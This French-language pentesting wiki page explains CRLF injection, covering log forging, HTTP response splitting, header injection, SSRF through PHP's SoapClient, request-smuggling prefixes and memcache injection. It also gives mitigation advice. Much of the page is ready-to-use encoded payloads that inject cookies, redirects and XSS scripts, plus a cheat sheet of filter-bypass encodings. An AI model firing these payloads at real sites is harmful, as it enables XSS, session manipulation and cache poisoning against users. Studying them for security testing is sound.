CRLF (%0D%0A) Injection

Reading time: 11 minutes

CRLF

Le retour chariot (CR) et le saut de ligne (LF), collectivement connus sous le nom de CRLF, sont des séquences de caractères spéciaux utilisées dans le protocole HTTP pour indiquer la fin d'une ligne ou le début d'une nouvelle. Les serveurs web et les navigateurs utilisent CRLF pour distinguer les en-têtes HTTP du corps d'une réponse. Ces caractères sont universellement employés dans les communications HTTP/1.1 à travers divers types de serveurs web, tels qu'Apache et Microsoft IIS.

CRLF Injection Vulnerability

L'injection CRLF implique l'insertion de caractères CR et LF dans des entrées fournies par l'utilisateur. Cette action induit en erreur le serveur, l'application ou l'utilisateur en interprétant la séquence injectée comme la fin d'une réponse et le début d'une autre. Bien que ces caractères ne soient pas intrinsèquement nuisibles, leur mauvaise utilisation peut conduire à un fractionnement de réponse HTTP et à d'autres activités malveillantes.

Example: CRLF Injection in a Log File

Example from here

Considérez un fichier journal dans un panneau d'administration qui suit le format : IP - Heure - Chemin Visité. Une entrée typique pourrait ressembler à :

123.123.123.123 - 08:15 - /index.php?page=home

Un attaquant peut exploiter une injection CRLF pour manipuler ce journal. En injectant des caractères CRLF dans la requête HTTP, l'attaquant peut modifier le flux de sortie et fabriquer des entrées de journal. Par exemple, une séquence injectée pourrait transformer l'entrée du journal en :

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Ici, %0d et %0a représentent les formes encodées en URL de CR et LF. Après l'attaque, le journal afficherait de manière trompeuse :

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

L'attaquant dissimule ainsi ses activités malveillantes en faisant apparaître que le localhost (une entité généralement de confiance dans l'environnement serveur) a effectué les actions. Le serveur interprète la partie de la requête commençant par %0d%0a comme un seul paramètre, tandis que le paramètre restrictedaction est analysé comme une autre entrée distincte. La requête manipulée imite efficacement une commande administrative légitime : /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Description

HTTP Response Splitting est une vulnérabilité de sécurité qui survient lorsqu'un attaquant exploite la structure des réponses HTTP. Cette structure sépare les en-têtes du corps à l'aide d'une séquence de caractères spécifique, le Carriage Return (CR) suivi du Line Feed (LF), collectivement appelés CRLF. Si un attaquant parvient à insérer une séquence CRLF dans un en-tête de réponse, il peut efficacement manipuler le contenu de la réponse suivante. Ce type de manipulation peut entraîner de graves problèmes de sécurité, notamment le Cross-site Scripting (XSS).

XSS à travers HTTP Response Splitting

1. L'application définit un en-tête personnalisé comme ceci : X-Custom-Header: UserInput
2. L'application récupère la valeur pour UserInput à partir d'un paramètre de requête, disons "user_input". Dans des scénarios manquant de validation et d'encodage appropriés des entrées, un attaquant peut créer un payload qui inclut la séquence CRLF, suivie de contenu malveillant.
3. Un attaquant crée une URL avec un 'user_input' spécialement conçu : ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• Dans cette URL, %0d%0a%0d%0a est la forme encodée en URL de CRLFCRLF. Cela trompe le serveur en insérant une séquence CRLF, faisant en sorte que le serveur traite la partie suivante comme le corps de la réponse.

4. Le serveur reflète l'entrée de l'attaquant dans l'en-tête de réponse, entraînant une structure de réponse non intentionnelle où le script malveillant est interprété par le navigateur comme faisant partie du corps de la réponse.

Un exemple de HTTP Response Splitting menant à une redirection

From https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser to:

/%0d%0aLocation:%20http://myweb.com

Et le serveur répond avec l'en-tête :

Location: http://myweb.com

Autre exemple : (de https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Dans le chemin URL

Vous pouvez envoyer la charge utile dans le chemin URL pour contrôler la réponse du serveur (exemple de ici):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Vérifiez plus d'exemples dans :

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

Injection d'en-tête HTTP

L'injection d'en-tête HTTP, souvent exploitée par l'injection CRLF (Carriage Return and Line Feed), permet aux attaquants d'insérer des en-têtes HTTP. Cela peut compromettre des mécanismes de sécurité tels que les filtres XSS (Cross-Site Scripting) ou la SOP (Same-Origin Policy), pouvant mener à un accès non autorisé à des données sensibles, telles que des jetons CSRF, ou à la manipulation de sessions utilisateur par le biais de l'injection de cookies.

Exploitation de CORS via l'injection d'en-tête HTTP

Un attaquant peut injecter des en-têtes HTTP pour activer CORS (Cross-Origin Resource Sharing), contournant les restrictions imposées par la SOP. Cette violation permet à des scripts provenant d'origines malveillantes d'interagir avec des ressources d'une origine différente, accédant potentiellement à des données protégées.

SSRF et injection de requête HTTP via CRLF

L'injection CRLF peut être utilisée pour créer et injecter une toute nouvelle requête HTTP. Un exemple notable de cela est la vulnérabilité dans la classe SoapClient de PHP, spécifiquement dans le paramètre user_agent. En manipulant ce paramètre, un attaquant peut insérer des en-têtes supplémentaires et du contenu dans le corps, ou même injecter une nouvelle requête HTTP entièrement. Ci-dessous un exemple PHP démontrant cette exploitation :

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Injection d'en-tête pour le Request Smuggling

Pour plus d'informations sur cette technique et les problèmes potentiels consultez la source originale.

Vous pouvez injecter des en-têtes essentiels pour garantir que le back-end maintienne la connexion ouverte après avoir répondu à la demande initiale :

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Après cela, une deuxième requête peut être spécifiée. Ce scénario implique généralement HTTP request smuggling, une technique où des en-têtes supplémentaires ou des éléments de corps ajoutés par le serveur après l'injection peuvent conduire à diverses exploitations de sécurité.

Exploitation :

1. Injection de Préfixe Malveillant : Cette méthode consiste à empoisonner la requête du prochain utilisateur ou un cache web en spécifiant un préfixe malveillant. Un exemple de cela est :

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Création d'un Préfixe pour l'Empoisonnement de la File d'Attente de Réponse : Cette approche consiste à créer un préfixe qui, lorsqu'il est combiné avec des déchets en fin de chaîne, forme une seconde requête complète. Cela peut déclencher l'empoisonnement de la file d'attente de réponse. Un exemple est :

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Injection Memcache

Memcache est un magasin de clés-valeurs qui utilise un protocole en texte clair. Plus d'infos dans :

11211 - Pentesting Memcache

Pour l'information complète, lisez le rapport original

Si une plateforme prend des données d'une requête HTTP et les utilise sans les assainir pour effectuer des requêtes vers un serveur memcache, un attaquant pourrait abuser de ce comportement pour injecter de nouvelles commandes memcache.

Par exemple, dans la vulnérabilité découverte à l'origine, des clés de cache étaient utilisées pour retourner l'IP et le port auxquels un utilisateur devait se connecter, et les attaquants pouvaient injecter des commandes memcache qui empoisonnaient le cache pour envoyer les détails des victimes (noms d'utilisateur et mots de passe inclus) aux serveurs de l'attaquant :

De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer l'IP et les ports des attaquants à des utilisateurs dont l'attaquant ne connaissait pas l'email :

Comment Prévenir les Injections CRLF / HTTP Header dans les Applications Web

Pour atténuer les risques d'injections CRLF (Carriage Return et Line Feed) ou d'injections d'en-têtes HTTP dans les applications web, les stratégies suivantes sont recommandées :

1. Éviter l'Entrée Directe de l'Utilisateur dans les En-têtes de Réponse : L'approche la plus sûre est de s'abstenir d'incorporer des entrées fournies par l'utilisateur directement dans les en-têtes de réponse.
2. Encoder les Caractères Spéciaux : Si éviter l'entrée directe de l'utilisateur n'est pas faisable, assurez-vous d'utiliser une fonction dédiée à l'encodage des caractères spéciaux comme CR (Carriage Return) et LF (Line Feed). Cette pratique empêche la possibilité d'injection CRLF.
3. Mettre à Jour le Langage de Programmation : Mettez régulièrement à jour le langage de programmation utilisé dans vos applications web vers la dernière version. Optez pour une version qui interdit intrinsèquement l'injection de caractères CR et LF dans les fonctions chargées de définir les en-têtes HTTP.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Outils Automatiques

• https://github.com/Raghavd3v/CRLFsuite
• https://github.com/dwisiswant0/crlfuzz

Liste de Détection de Brute-Force

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

Références

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/